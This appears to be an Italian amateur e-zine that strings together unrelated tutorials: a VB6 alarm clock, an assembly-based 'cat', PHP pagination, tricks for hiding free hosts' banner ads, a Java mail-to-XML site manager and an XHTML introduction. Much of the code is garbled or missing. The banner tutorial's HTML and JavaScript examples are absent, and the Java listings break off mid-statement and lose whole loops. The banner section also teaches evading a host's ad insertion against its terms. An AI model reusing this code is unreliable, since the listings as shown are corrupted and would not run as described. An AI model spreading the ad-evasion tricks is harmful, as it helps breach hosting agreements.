>------------------------------- Ed eccoci di novo qui a writtare sulla testiera un tutorial che ha stravolto il mio pisolino pomeridiano quando desidero svegliarmi con la musica che desidero... (si si sono già stato dallo psichiatra mi ha detto che è normale... ora è stato arrestato kissa xkè?)... cmq vi sembrerà strano ma ingiro nessuno ha pensato 1 cosina simile è una stronzatina ma funziona bene... e poi sto project lo ritengo molto utile soprattutto x ki ha 1 portatile e vuole svegliars ad 1a certa ora con le canzoni che preferisce... hihihii X prima cosa aprite visualbasic6... ma va!? Poi seguite l'intuito sto codicillo è così facile che pure Zio Bill intuisce con le nozioni di CRTL+C, CTRL+V... come creare sto piccolo soft!!! -----------< Object in Form >--------------------------------- 0. Form . name = Form1 1. Inserire un Microsoft Multimedia Control(SP3) . Nn sapete dove trovarlo!? ma rotfl! . Pigiate CRTL+T in Vb6 ed inserite Microsoft Multimedia Control (SP3) appare al dx dello skermo 1 nuovo pulsantino inseritelo nel form... . lo so che è elementare ma zio Bill ha avuto deo problemi... e mi ha telefonato perkè i programmatori della Microrotfl non riusciavano a risolvere questo enigma... 2. Command1 . Caption = Ho regolato ed ora Minimizzo... 3. Command2 . Caption = Esco... 4. Timer1.Timer . Value = 15000 . Enable = False 5. Text1 . dove regolerai il TimeMusic 6. Text2 . dove metterai il messaggio che apparirà . al tuo risveglio... --------------------------------------------------------------- -----------< Code >--------------------------------- Private Sub Form_MouseMove(Button As Integer, Shift As Integer,_ x As Single, Y As Single) ' x la settazione dell'mm potete usare Activate Load dipende ' non per forza MouseMove MMControl1.Notify = False MMControl1.Wait = True MMControl1.Shareable = False MMControl1.DeviceType = "CDAudio" ' tipo di CD Audio MMControl1.Command = "Open" ' (dal drive CD-ROM) End Sub Private Sub Form_Unload(Cancel As Integer) MMControl1.Command = "Close" ' kiude se kiudi End Sub Private Sub Command1_Click() Form1.WindowState = 1 ' form a icon 1 Timer1.Enabled = True ' Avvia il timer End Sub Private Sub Command2_Click() MMControl1.Command = "Stop" ' Stop... Unload Me ' Scaricami... ' quello che dico alla ' Barale End Sub ' quando mi telefona... Private Sub Timer1_Timer() CurrentTime = Format(Time, "hh.mm") ' si capisce che intendo ' il formato del Time If CurrentTime = Text1.Text Then ' oppure qualcuno poi ' scrive ' hh:mm o hh-mm? Beep ' ciao Willy MMControl1.Command = "Play" MsgBox (Text2.Text), , "Sveglia!Gay!"' msg di benvenuto + ' quello ke scivi tu... Timer1.Enabled = False ' blocca il Timer Form6.WindowState = 0 ' Ripristina il form End If End Sub -------------< EndCode >------------------------------- ---------------------------------------------------------------- ciao raga... pS: questo non significa programmare significa fare piccole cazzatelle in Vb6 by Lord Unrelated Lodegans [ Titolo: Leeting your simple 'cat'] ---------------------------*sommario*----------------------------- 0x01. premessa & introduzione 0x02. codice e breve spiegazione 0x03. conclusione ---------------------*premessa e introduzione*-------------------- Scrivo questo tutorial, per esprimere un piccolo studio da me praticato, non so quanto utile possa essere, ma ho trovato il tutto molto educativo ed interessante.. Detto questo direi si possa continuare -------------------*codice e breve spiegazione*------------------- proviamo a vedere che succede se digitiamo il comando 'ltrace cat > prova' __libc_start_main(0x08049334, 1, 0xbffffb44, __register_frame_info(0x0804c36c, 0x0804c530,) = 0x4015b900 setlocale(6, "") = "en_US" bindtextdomain("textutils", "/share/locale") = "/share/locale" textdomain("textutils") = "textutils" __cxa_atexit(0x08049b64, 0, 0, 0x0804c6b0, 0x0804c6b0) = 0 getopt_long(1, 0xbffffb44, "benstuvAET", 0x0804ad38, NULL) = -1 __fxstat64(3, 1, 0xbffffa40, 0xbffffa40, 1) = 0 __fxstat64(3, 0, 0xbffffa40, 0xbffffa40, 0) = 0 malloc(4096) = 0x0804e128 read(0, Ecco veniamo a quello che ci interessa, vediamo che succede malloc(4096) = 0x0804e128 read(0, in questo modo in primis, si allocano 4096 byte di memoria nel address 0x0804e128, per poi chiamare la read() che aspetterà un input dato dall'utente.. quindi proviamo scrivendo la parola 'ciao', senza apici e diamo invio read(0, ciao "ciao\n", 4096) write(1, "ciao\n", 5) benissimo abbiamo visto che dopo aver dato un input, viene completata la read(), e quindi viene printato a schermo con write() la parola "ciao" seguita da \n che vale solo 1 byte, e che rappresenta quindi il nostro 'invio'.. quindi stoppiamo con CTRL+D il processo e vediamo che succede: free(0x0804e128) = close(0) = 0 exit(0) = ferror(0x40158cc0) = 0 analizzando in grosso modo cià che è successo dopo il nostro segnale di kill, bene in primo luogo viene liberata con free() la memoria allocata prima nell'address 0x0804e128, dopo viene chiamata la close() per chiudere il file e infine exit.. ferror() serve invece per calcolare lo status id dell'uscita del programma. Ora sappiamo quello che ci serve, ovvero come funziona il cat, se usato per creare un file, a questo punto basterebbe creare un semplice programma che usi open(), read(), write() e close() .. ma sarebbe troppo semplice e inutile, siccome chiunque saprebbe riprodurlo.. quindi vediamo come fare in un piccolo pezzo di asm e in semplice modo, un programma che usi questi comandi.. sys_open: pushl %ebp movl %esp,%ebp xorl %eax, %eax movl 0xc(%esp,1), %ecx movl 0x8(%esp,1), %ebx movb $0x5, %al int $0x80 leave ret sys_read: pushl %ebp movl %esp,%ebp xorl %eax, %eax movl 0x10(%esp,1), %edx movl 0xc(%esp,1), %ecx movl 0x8(%esp,1), %ebx movb $0x3, %al int $0x80 leave ret sys_write: pushl %ebp movl %esp,%ebp xorl %eax, %eax movl 0x10(%esp,1), %edx movl 0xc(%esp,1), %ecx movl 0x8(%esp,1), %ebx movb $0x4, %al int $0x80 leave ret le seguenti, sono proprio i comandi che servono a noi.. riprodotti in asm, basati sulla int $0x80, ovvero l'int che si usa per tutti i programmi che necessitano di chiamare una o più syscall, in questo caso sono per ordine le seguenti SYS_open(), SYS_read() e SYS_write() il codice in asm non necessita di spiegazioni, o lo si conosce o non lo si conosce, a questo punto penso di potervi lasciare il source e lasciare a voi quindi il divertimento, di implementare funzioni al vostro professionale 'cat' /* cat-leet.c - small asm based cat version * * coded by evil, copyright 2003 (C) */ #define STD_IN 0 #define STD_OUT 1 int sys_open (char *path, int flags) { __asm (" xorl %eax, %eax movl 0xc(%esp,1), %ecx movl 0x8(%esp,1), %ebx movb $0x5, %al int $0x80"); } int sys_read (int f, void *b, unsigned int count) { __asm (" xorl %eax, %eax movl 0x10(%esp,1), %edx movl 0xc(%esp,1), %ecx movl 0x8(%esp,1), %ebx movb $0x3, %al int $0x80"); } int sys_write (int f, void *s, unsigned int count) { __asm (" xorl %eax, %eax movl 0x10(%esp,1), %edx movl 0xc(%esp,1), %ecx movl 0x8(%esp,1), %ebx movb $0x4, %al int $0x80"); } int main (int argc, char *argv[]) { int fd[1000]; int i, j; int l; char data[256]; i = j = 0; fd[0] = STD_IN; if (argc == 1) ++i; if (i != 1) { argc--; while (i < argc && i < 1000) { fd[i] = sys_open (argv[i + 1], 0); i++; } i--; } for (; j < argc; j++) while ((l=sys_read (fd[j], data, 255)) > 0) sys_write (STD_OUT, data, l); } ---------------------------*conclusione*-------------------------- Spero vivamente che questo tutorial, e questo code possa suscitare nuove idee, in voi lettori, per qualsiasi chiarimento, siete invitati a mandarmi una email a webmaster@eviltime.com , o altrimenti visitato il mio sito www.eviltime.com Evil. @################################################################@ º/\/\/\/\/\/\/\/\/\/ \/\/\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/\/ \/\/\/\/\/\/\/\/\/º º/\/\/\/\/\/\/\/\/ PILLOLE DI PHP \/\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/ Codice PHP commentato \/\/\/\/\/\/\/\/º º/\/\/\/\/\/\/\/\ a cura di }gu|do[z]{®© /\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/\ www.guidoz.it /\/\/\/\/\/\/\/\/º º/\/\/\/\/\/\/\/\/\ /\/\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/\/\ /\/\/\/\/\/\/\/\/\/º @################################################################@ *----------------------------------------------------------------* | X approfondimenti dubbi, chiarimenti: http://forum.guidoz.it | *----------------------------------------------------------------* ################################################################## ######## ######## ###### INTRODUZIONE ###### ######## ######## ################################################################## Eccoci al primo dei nostri appuntamenti con la parte un po' + avanzata della mia rubrica sul PHP. In questa sezione della rubrica prenderemo di volta in volta in esame problemi tipici della programmazione PHP e propveremo a dare una possibile interpretazione e soluzione con codice commentato e pronto all'uso [previa confuguraione] In questo primo numero affronteremo quello che probabilmente è il primo grosso problema in cui ci si imbatte quando si comincia a programmare in PHP: la paginazione dei dati. Spesso capita di avere dati contenuti in un database e di dover fare delle pagine che li visualizzino: ad esempio i risultati di un motore di ricerca, un guestbook, un forum.. in tutti questi casi avremo bisogno di qualcosa che prenda i nostri dati che sono in un numero a noi sconosciuto, e li suddivida in + pagine. Lo script che andremo ad esaminare si occupa appunto della suddivisione di questi dati e della creazione di un piccolo menu' dinamico che permetta di navigare attraverso le pagine virtuali create dai nosti dati! ################################################################## ######## ######## ###### PILLOLA ###### ######## ######## ################################################################## Chiariamo innanzitutto che ci sono due tipi di paginazione: 1) Paginazione da query: è sicuramente + comoda ma ha il difetto di richiedere 2 interrogazioni del database, a discapito dell'efficienza.. inoltre le istruzioni usate non sono standard SQL99, e perciò non valide per tutti i tipi di database. 2) Paginazione da script: questo è il tipo di paginazione che vedremo nel dettaglio, assieme ad un sistema di gestione dei link alle varie pagine dei risultati. Cominciamo dunque con il distinguere i due problemi di visualizzazione di un numero di dati limitato ad un intervallo determinato dalla pagina richiesta, e di creazione dinamica dei link... partiamo proprio da quest'ultimo. -------Creazione dei link-------- Personalmente uso un sistema di creazione dinamica dei link incluso in un file esterno, che crea il mini menù nel punto di inclusione generando dinamicamente un numero di link configurabile ad altrettante pagine generate dalla vostra interrogazione e dalla nostra paginazione.... Ok, è poco chiaro... faccio un esempio: ponendo di avere 3 pagine ci aspettiamo di creare dei link fatti + o meno così: "pag1 - pag2 - pag3"... ma se avessimo 100 pagine? sarebbe scomodo, per non dire improponibile, elencare tutti e 100 i link... il sistema quindi elenca un numero ristretto di link a pagine vicine alla pagina corrente (oltre a degli short link alla prima e all'ultima pagina).... ad esempio se fossimo a pagina 48 di 100.. avremmo "pag46 - pag47 - pag48 - pag49 - pag50"... con la pagina corrente evidenziata in colore diverso (mediante l'uso di una classe di stile) In + la versione attuale del sistema permette di gestire facilmente la propagazione delle query string. Questo perchè? Ci sono script che di default elencano tutti i dati contenuti nel database, ma in casi particolari [come quello di una ricerca, o dell'ordinamento] devono usare delle query string per modificare la visualizzazione... senza l'attuale modifica, la visualizzazione sarebbe stata modificata solo nella prima pagina, e il resto dei record sarebbe stato mostrato normalmente, e non nel modo desiderato. Bando alle ciance e vediamo il codice... che a parte delle piccole impostazioni iniziali è solo una serie metodica di condizionali che prevedono i possibili casi... mi limiterò a commentare le parti significative. *----------------------------------------------------------------* | Il codice lo trovate nell'allegato paginazione.inc.php | *----------------------------------------------------------------* Spero abbiate dato un'occhiata al codice e letto i commenti, quindi andiamo pure avanti. Per la modifica [FACOLTATIVA] della querystring: poniamo che abbia fatto un motore di ricerca e lo script mi serva per paginare i risultati. E' chiaro che se la mia pagina prenderà una variabile chiamata $chiave che indichi la chiave di ricerca, questa vada passata A TUTTE LE PAGINE della stampa dei risultati, e non solo alla prima pagina. Come fare? Semplicissimo: if ($chiave != '') $querystring .= "&chiave=$chiave"; in questo modo la querystring appesa ai link non è + vuota, e fa il suo dovere. Sorge però un potenziale problema al di fuori di questo file, ovvero nello script che lo include: la variabile letta da query string è passata con il metodo GET... invece il form per il motore di ricerca che abbiamo ipotizzato potrebbe funzionare con il metodo POST.. avremmo quindi che nella prima pagina la variabile proverrà da un POST, nelle seguenti da un GET... la cosa ci crea qualche problema con le recenti versioni PHp in quanto di default è disattivata la registrazione delle variabili globali e dovremmo estrarre la variabile dall'opportuno array.. ma dato che questo array potrebbe variare, come fare? Beh.. semplice... se non siete certi che il metodo con cui passate variabili usate nell'interrogazione del database sia il metodo GET... nella pagina in cui è inclusa la paginazione usate assegnazioni del genere prima di usare queste variabili: $chiave = isset($_POST['chiave'])? $_POST['chiave'] : $_GET['chiave']; Ovviamente dovrete farlo per ogni variabile cambiando la parola "chiave" con il nome della variabile in questione. E questo è davvero tutto sulla creazione del menu dinamico di link alle pagine. ------- Estrazione dal database ------- Passiamo quindi alla vera e propria estrazione dal database e la conseguente visualizzazione di un intervallo di dati variabile in base alla pagina corrente. C'è davvero poco da dire e poco da capire... il grosso ce lo siamo preparato con il codice precedente... non dobbiamo fare altro che interrogare il database, ottenere il numero dei record e qundi il numero delle pagine, includere lo script precedente, e gestirci un ciclo. Vediamo il codice: *----------------------------------------------------------------* | Il codice lo trovate nell'allegato gestionedati.php | *----------------------------------------------------------------* et voilà... non è così difficile vero? Spero che questa pillola sia chiara e semplice...di aver prevenuto possibili dubbi e di aver coperto il maggior numero possibile di casistiche ^_^ Alla prossima pillola :) Vi ricordo che per dubbi, segnalazione di errori e quant'altro in merito alla pillola è disponibile il mio forum all'indirizzo http://forum.guidoz.it -e-zine------------n.00--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ---------informazionelibera- _____________________________________________________________ Titolo >>> Tutti odiano i banner tranne i loro produttori ;) Autore >>> Cyberdude E-zine >>> Informazionelibera Altro >>> Buona lettura ;)… approposito quasi dimenticavo questo tutorial è a scopo illustrativo hihihihi ciao a tutti _____________________________________________________________ Salve a tutti… qui è Cyberdude che vi parla, vorrei mostrarvi uno script molto semplice in java che mi sa mi sa utilizzate nei vostri siti ;) fidatevi !!! Dunque come presentazione cosa possiamo dire? … ogni società di WebHosting a costo zero è solita piazzare una qualche sorta di pubblicità nei siti che ospita, giusto? ecco quindi una serie di potenziali metodi per eliminare queste sottospecie di cartelloni! E' necessario dividere in categorie gli argomenti da affrontare: BANNER SU FRAMES Innanzitutto, per quanto riguarda i frame, vale la regola generale del redirect della pagina in una nuova finestra, per cui: Klicca kui La nuova finestra si sovraporrà alla vecchia, coprendo il banner! Lascio a voi i (necessari, ecchecazzo!) ritocchi... che ne so metteteci una vostra foto ;) o una bella scritta cyberdudescript se vi fa più felici … vabbè tralasciamo e andiamo avanti!! Altrimenti, si può provare con un refresh automatico della pagina nella stessa finestra: Se, infine, il frame è ostico basta inserire il seguente codice: ... In quest'ultimo caso, non appena la pagina è richiamata, dopo un secondo (indicato dal numero in millisecondi nella funzione setTimeout() del tag BODY) lo script lascerà nella finestra soltanto il frame del file da noi indicato. Nel caso questo non dovesse avvenire, aumentare la pausa prima dell'inizio dello script (modificando il 1000 della terz'ultima riga!)... questo perchè, prima che si possa manipolare un oggetto in javascript, occorre che questo sia almeno caricato parzialmente. Altrimenti si può eliminare l'handler onLoad da BODY e aggiungere un link nella pagina che ne apra una nuova senza il frame. La sintassi diventa: Klicca kui per kontinuare Piccola tip: per quanto riguarda alcune società, per eliminare il frame pubblicitario (es. xoom, interfree), basta iscriversi ad un servizio di redirect indicando l'indirizzo PRECISO della pagina... esempio: http://members.xoom.it/domine diventa http://members.xoom.it/_XOOM/domine/index.htm e il gioco è fatto! E' anche possibile, se non si vuole ricorrere al redirect, utilizzare la tecnica del refresh: Andiamo adesso invece ad analizzare il seguente caso : BANNER SU FINESTRE POPUP Nel caso delle finestre popup, il server tramite degli script aggiunge del codice all'interno della pagina HTML, che automaticamente apre la finestrella; bisogna quindi andare a guardare il sorgente della pagina non sul proprio hd, bensì la versione presente online, e trovare il punto in cui il server ha piazzato le proprie stringhe. Di solito è possibile riconoscerle da alcuni commenti racchiusi in tag del tipo: Se questo è presente alla fine del documento, è possibile utilizzare un trucco hihihi ;) Una volta eliminati i tag e , inserire queste stringhe al termine del file: Grazie alla funzione unescape(), è possibile convertire una serie di tag , scritti in ascii, in caratteri letterali (in modo che il server non possa cancellarli per inserire il proprio banner). Questi tag impediscono quindi di accodare alla pagina dell'altro codice javascript… Ma se javascript della finestra viene infilato all'inizio? Allora in questo caso può essere utile modificare così il tag BODY : Innanzitutto, la funzione focus() mette in secondo piano la finestra pubblicitaria, e in seguito (dopo aver atteso 1000 millisecondi per un caricamento parziale della finestra), la funzione close() chiude la finestra popup; bisogna ovviamente modificare "popup" a seconda del nome della nuova finestra... lo si può ricavare osservando lo script che viene aggiunto, che dovrebbe presentare una riga del tipo: var popup = window.open(popupURL,"TripodPopup",'...'); Il termine subito dopo "var" è il nome che stiamo cercando! Nel caso non funzionasse, provare modificando il delay... A questo punto ci rimane un solo tipo di pubblicità da esaminare e da abbattere ;) BANNER ALL'INTERNO DELLA PAGINA Si può, tramite javascript, riscrivere "on the fly" l'intero codice, privandolo del banner. Ecco un esempio. Aggiungendo, per ogni riga del nostro file, una variabile alla matrice "htms" avremo risolto il problema…c on questo metodo, ovunque il server metta il suo codice, la pagina verrà automaticamente riscritta dal browser senza di esso!Bello vero? PS: Attenzione! Affinchè non si crei confusione, occorre far precedere gli apici doppi (") dallo slash(\). alert("Siete stati avvisati!!"); diventa htms[15] = "alert(\"Siete stati avvisati!!\"); Il metodo precedente va benone se le pagine che dobbiamo riscrivere contengono un numero non eccessivo di righe... ma sarebbe incredibilmente annoiante fare questo lavoro per documenti di 200-300 righe!! Ma non preoccupatevi, può venirci in aiuto la tecnica dei Fogli di Stile a Cascata (CSS). Sovrapponendo al banner un più estetico logo fatto da noi migliorerebbe le cose, non trovate? Ecco come si può fare:
Le variabili "top" e "left" indicano la distanza in pixel in riferimento al margine superiore sinistro della pagina. Con un po' di tentativi si riuscirà senz'altro a sovrapporre perfettamente al banner il nostro "logo.gif" tutto chiaro ? spero di si … io mi sto un po' rompendo a scrivere sto tutorial perché sto aspettando che Lory mi faccia uno squillo per andare a telefonarle quindi perdo il tempo scrivendo ste cose… vabbè lasciate perdere non sto molto bene, andiamo avanti ;) Nel caso si voglia coprire il banner in maniera più veloce senza sovraccaricare il peso della pagina, e possibile utilizzare gli effetti grafici che ci sono messi a disposizione, tipo questo dell'esempio:
FUcK!!
FUcK!!
Il primo tag DIV crea un rettangolo di sfondo (il colore del quale noi regoleremo a seconda dello sfondo della nostra pagina), il secondo definisce un testo e il terzo l'ombra di questo. Ognuno degli elementi si sovrappone all'altro, per cui bisognerà stare attenti alla priorità di ognuno rispetto all'altro e rispetto al banner. Nel caso il server utilizzi il tag IFRAME al posto di DIV (yuhuuu, Freeservers!), fare altrettanto per sovrapporre :-) Raga… ora scusatemi se interrompo questa divertentissima parentesi qui ma devo proprio andare, l'attesissimo squillo è arrivato quindi io andrei ciao a tutti CYBERDUDE GESTIONE DEL PROPRIO SITO -prerequisiti: conoscenza della sintassi di Java, di xml e di xslt Ecco qualche consiglio rivolto ai webmaster "amatoriali" e "casalinghi" (come il sottoscritto), che pubblicano il proprio sito su server che offrono spazio web gratuito, come per esempio Digilander. Solitamente questi server offrono la possibilità di caricare le proprie pagine html tramite il protocollo ftp. Non offrono invece praticamente alcun supporto per l'esecuzione di proprie applicazioni web. Faccio un esempio tratto dal mio sito: voglio gestire una banca dati di musicisti e band, e voglio dare a tutti a possibilità di iscriversi dal mio sito e di vedere gli iscritti. Ora, nel caso disponessi di un server mio, su cui poter eseguire applicazioni, potrei utilizzare un database per gli iscritti e un'applicazione che gestisce le richieste dei visitatori del sito e provvede a dialogare con il database per ottenere il risultato delle interrogazioni e l'inserimento degli iscritti. Ovviamente per il webmaster amatoriale, che si deve accontentare di un server gratuito, tutto questo non è possibile. Ma qualcosa si può fare: dobbiamo certo rinunciare ad adottare per il sito un modello di tipo sincrono, cioè a soddisfare le richieste dei visitatori in tempo reale, però possiamo crearci un piccolo sistema software, basato su un modello asincrono. Questo significa che faremo in modo che le richieste dei visitatori, nel momento in cui vengono inoltrate, vengano salvate in un posto accessibile a noi (una casella di posta), verranno poi estratte e processate quando lo decideremo noi connettendoci a Internet ed eseguendo il programma di gestione del sito di cui ora analizzeremo una possibile implementazione (che ho adottato per il mio sito). L'ho chiamato "sistema" perchè è utile costruirlo utilizzando più tecnologie cooperanti: usiamo Java per scrivere la parte principale della nostra applicazione, cioè quella che coordina le altre. Usiamo dei file xml per conservare i dati dei visitatori da aggiungere agli iscritti, dopo che i loro dati sono stati estratti dai relativi messaggi di posta. Infine tramite trasformazioni xslt provvediamo a generare le pagine html, contenti i dati degli iscritti in una certa forma da noi voluta, che verranno pubblicate sul sito tramite ftp. La parte in Java si occuperà di coordinare il tutto, cioè eseguire ordinatamente le seguenti attività: -download dei messaggi di posta con i dati degli iscritti -aggiunta di quei dati ai relativi file xml sul nostro pc -esecuzione delle trasformazioni xslt sui file xml aggiornati per generare pagine html -esecuzione di uno script ftp opportunamente preparato, che chiamerà il client ftp del sistema operativo per caricare sul sito le pagine html con i nuovi dati Il motivo della scelta di Java è la sua facilità d'uso soprattutto per le applicazioni in rete: per esempio potremo utilizzare agevolmente delle librerie di semplice utilizzo per leggere la posta. Passiamo ai dettagli vedendo il percorso il percorso dei dati: -essi partono dalla richiesta del visitatore del nostro sito, che compila una form su una pagina html del nostro sito, poi clicca il bottone "invia" e la form manda una mail a una nostra casella di posta (è meglio che questa casella di posta non sia quella che usiamo abitualmente, ma sia creata apposta per questo uso, così eviteremo di scaricare involontariamente i dati dei visitatori quando leggeremo i messaggi di posta personali, cosa molto sgradevole nel caso in cui il programma di posta elimini dal server i messaggi scaricati, perchè significherebbe impedire al nostro sistema di gestione del nostro sito di leggere quei dati, perciò dovremmo inserirli "a mano" oppure perderli). Un esempio di form html è nella pagina "formMusicisti.html". Ecco un esempio di testo della mail che viene inviata: nome=giampow mail=giampow@libero.it sito=digilander.libero.it/giampow tel=1234567890 paese=bologna regione=emilia-romagna provincia=bologna genere=rock genere=jazz genere=blues strumento=chitarra note=la fa la sol fa sol la fa re la è importante notare che il visitatore potrebbe avere impostato il proprio programma di posta in modo che aggiunga automaticamente in fondo a tutti i messaggi delle linee html con anche immagini (tipici messaggi pubblicitari). Questo è un male, perchè la mail che ci arriverà sarà in un formato non semplice (cioè plain text, testo semplice) come l'esempio qui sopra. Perciò è meglio aggiungere nella pagina html l'avvertimento al visitatore di impostare correttamente il programma di posta. -il passo successivo è l'esecuzione del programma di gestione, vediamo il codice Java(in realtà useremo anche un secondo programma java, opzionale, ora vediamo il primo, per la gestione del sito, poi vedremo il secondo, che si occupa di notificare ai nuovi iscritti l'avvenuta iscrizione nel sito mandando loro una mail di conferma) nota: per l'esecuzione del codice java sono necessarie le seguenti librerie (file .jar): mail.jar, activation,jar, jdom.jar che sono parte delle API: -JavaMail e JavaBeans Activation Framework per scaricare le mail -Jdom per formattare le stringhe per i file xml scaricabili rispettivamente da: http://java.sun.com/products/javamail/index.html http://java.sun.com/products/javabeans/glasgow/jaf.html http://www.jdom.org/ e "uxt", il processore xslt che vogliamo chiamare dall'interno del codice java come se lo stessimo chiamando da linea di comando (passandogli opportuni argomenti). E' scaricabile da http://www.unicorn- enterprises.com/download_uxt.html una volta scaricati uxt e le librerie java è consigliabile mettere sia il uxt.exe che mail.jar, activation,jar, jdom.jar (che possiamo copiare, una volta scompattati i file zip dei relativi pacchetti JavaMail, JavaBeans Activation Framework, Jdom) nella cartella dove c'è il codice java, che faremo eseguire da un file .bat -----------------------------------------CODICE--------- import java.util.*; import javax.mail.*; import javax.mail.internet.*; import javax.swing.*; import java.awt.*; import java.awt.event.*; import org.jdom.output.*; public class aggiornaElenchi { static Vector fileDaAggiornare=new Vector(); static Vector nuoviUtenti=new Vector(); public static void main (String args[]) throws Exception { //qui mettiamo il pop del server di posta della casella dove abbiamo //i dati degli iscritti, esempio pippo@pluto.it String host = "pop.pluto.it"; //ora leggiamo la posta... //Setup empty properties Properties props = new Properties(); //Get session Session session = Session.getDefaultInstance(props, null); //Get the store Store store = session.getStore("pop3"); store.connect(host, tuo_user_name_casella_mail, tua_password_casella_mail); //Get folder Folder folder = store.getFolder("INBOX"); folder.open(Folder.READ_WRITE); //prendiamo tutti i messaggi Message message[] = folder.getMessages(); //facciamo un ciclo per considerare separatamente ciscuno di essi... for (int i=0, n=message.length; i0){ PrintStream notificheFile=new PrintStream(new FileOutputStream( "notificheFile.txt",false),true); for(int nu=0;nu prima di inserire i nuovi private static void rimuoviRoot(String fileName){ File file=new File(fileName); byte[] bytes=new byte[(int)file.length()-9]; try{ FileInputStream fis=new FileInputStream(fileName); fis.read(bytes); BufferedOutputStream fos=new BufferedOutputStream( new FileOutputStream(fileName)); fos.write(bytes,0,bytes.length); fos.flush(); }catch(Exception e){System.out.println(""+e.getMessage());} } //processa i dati dei musicisti public static void processa(String msg, String fine){ BufferedReader br=new BufferedReader(new StringReader(msg)); String linea=null, testo=""; String regione=null, provincia=null, nome=null, mail=null, tel=null, paese=null, sito=null; String[] generi=new String[8]; String[] strumenti=new String[7]; int i=0, j=0; try{ while(!(linea=br.readLine()).startsWith("nome=")); nome=estraiCampo(linea); linea=br.readLine(); mail=estraiCampo(linea); if(nuoviUtenti.indexOf(mail)==-1) nuoviUtenti.add(mail); linea=br.readLine(); sito=estraiCampo(linea); linea=br.readLine(); tel=estraiCampo(linea); linea=br.readLine(); paese=estraiCampo(linea); linea=br.readLine(); regione=estraiCampo(linea); if(fileDaAggiornare.indexOf(regione+fine)==-1) fileDaAggiornare.add(regione+fine); linea=br.readLine(); provincia=estraiCampo(linea); while((linea=br.readLine()).startsWith("genere")){ generi[i]=estraiCampo(linea); i++; } while(linea.startsWith("strumento")){ strumenti[j]=estraiCampo(linea); j++; linea=br.readLine(); } int numLinea=0; while(numLinea<20){ linea=estraiCampo(linea); testo+=linea; linea=br.readLine(); if((linea==null)||(linea.startsWith("-- ")))break; testo+="\n"; numLinea++; } }catch(Exception e){System.out.println(""+e.getMessage());} File file=null; PrintStream printStream=null; file=new File(regione+fine); FileOutputStream fos=null; try{ fos=new FileOutputStream(""+regione+fine,true); printStream=new PrintStream(fos,true); }catch(Exception e){System.out.println(""+e.getMessage());} if(file.length()==0){ printStream.println("\n"); printStream.println(""); printStream.println(""); printStream.println(""); } else rimuoviRoot(regione+fine); printStream.println("<"+(fine.charAt(0)=='b'?"BAND" :"MUSICISTA")+ " nome=\""+converti(nome)+"\""+ " mail=\""+converti(mail)+"\""+ " sito=\""+converti(sito)+"\""+ " tel=\""+converti(tel)+"\""+ " paese=\""+converti(paese)+"\""+ " provincia=\""+converti(provincia)+"\""+">"); for(int indiceGeneri=0;indiceGeneri"+converti(generi[indi ceGeneri])+""); if(fine.charAt(0)=='m')for(int indiceStrumenti=0;indiceStrumenti"+converti(strument i[indiceStrumenti])+""); printStream.println(""+converti(testo)+""); printStream.println(""); printStream.println(""); printStream.println(""); try{ fos.close(); }catch(Exception e){System.out.println(""+e.getMessage()); System.exit(- 1);} } }//class -------------------------------------FINE-CODICE- PROGRAMMA-PRINCIPALE- -------------------------------------INIZIO-CODICE- PROGRAMMA-NOTIFICHE import java.util.*; import java.io.*; import javax.mail.*; import javax.mail.internet.*; import javax.activation.*; public class notifiche{ static String msgText; static Vector indirizziVector; public static void main(String[] args) { msgText=""; indirizziVector=new Vector(); try { BufferedReader brNi=new BufferedReader( new FileReader("notificaIscrizione.txt")); String linea=""; while((linea=brNi.readLine())!=null)msgText+=linea+ "\n"; BufferedReader brNf=new BufferedReader( new FileReader("notificheFile.txt")); linea=""; while((linea=brNf.readLine())!=null)indirizziVector .add(linea); InternetAddress[] address=new InternetAddress[indirizziVector.size()]; for(int i=0;i martcomelli@aruba.it > www.kome.itcsalvemini.org .:: INTRODUZIONE AL DOCUMENTO ::. Salve a tutti, l'XHTML 1.0 è il linguaggio a contrassegno ipertesti che con il tempo sostituitrà il vecchio (ma sempre valido) HTML 4.01; quindi vale la pena impararlo :). Per imparare l'XHTML 1.0 do per scontato che voi conosciate bene l' HTML 4.01; se non conoscete l' HTML andate subito ad impararlo a: www.w3c.it, www.html.it. .:: INTRODUZIONE ALL' XHTML 1.0 ::. 1.0: XHTML 1.0, che cosa è? L' XHTML 1.0 non è null' altro che la riscrittura delle specifiche HTML 4.01 in XML 1.0! Mmm... credo che adesso siate un po' confusi, ma non disperate, ora vi spiego tutto. 1.1: HTML 4.01, che cosa è? L' HTML 4.01 è sicuramente il linguaggio più usato per creare pagine web. Questo linguaggio a marcatori ipertesti, discende dall' SGML (Standard Generalized Markup Language) come l'xml. L' HTML ha visto nascere il web, lo ha visto evolversi, lo ha visto crescere, diventare sempre più importante, ma ora l'html è diventato troppo "poco dinamico" per sostenere lo sviluppo del web. L'html ha "fallito" principalmente per 2 motivi: 1. l'html non era stato progettato per descrivere la visualizzazione grafica dei documenti web; era stato progettato per descrivere la struttura dei documenti web; questo cambiamento (non voluto dal w3c) lo ha reso "rigido" e più inutile: una struttura porta molti vantaggi allo sviluppo web (anche se non sembra). Approfondiamo questo aspetto nel "capitolino" riferito all'xml. 2. ha subito varie implementazioni "disordinate", da associazioni o aziende esterne al w3c (che seguiva il suo sviluppo): questo non ha fatto altro che complicare la sua esistenza. C'è comunque da dire che l'html ha reso possibile alle "masse ignoranti" la creazione facilitatà di pagine web, cosa che l'xml complicherà un po'... 1.2: L' XML 1.0, che cosa è? L'Xml (eXtensible markup language) è un linguaggio che è stato iniziato ad essere sviluppato nel 1996 dal w3c, solo nel 1998 però si ha avuto la release 1.0. E' un linguaggio rivoluzionario, che porterà presto il web al massimo del suo potenziale; anche lui discende dall'sgml, da cui prende le migliori caratteristiche. L'Xml non è un vero e proprio linguaggio, è più che altro un "meta-linguaggio": cioè un linguaggio che permette la "creazione" di altri sotto linguaggi; per fare alcuni esempi posso citare il WML (quello per fare i siti "wap"), il gDml, il MathML e lo XHtml; ma anche voi potete crearvi il vostro linguaggio "personale"... Una cosa che è assolutamente da capire se si vuole imparare l'xml è che l'xml non descrive la visualizzazione grafica della pagina web, ma ne descrive la sua struttura; all'inizio potrebbe 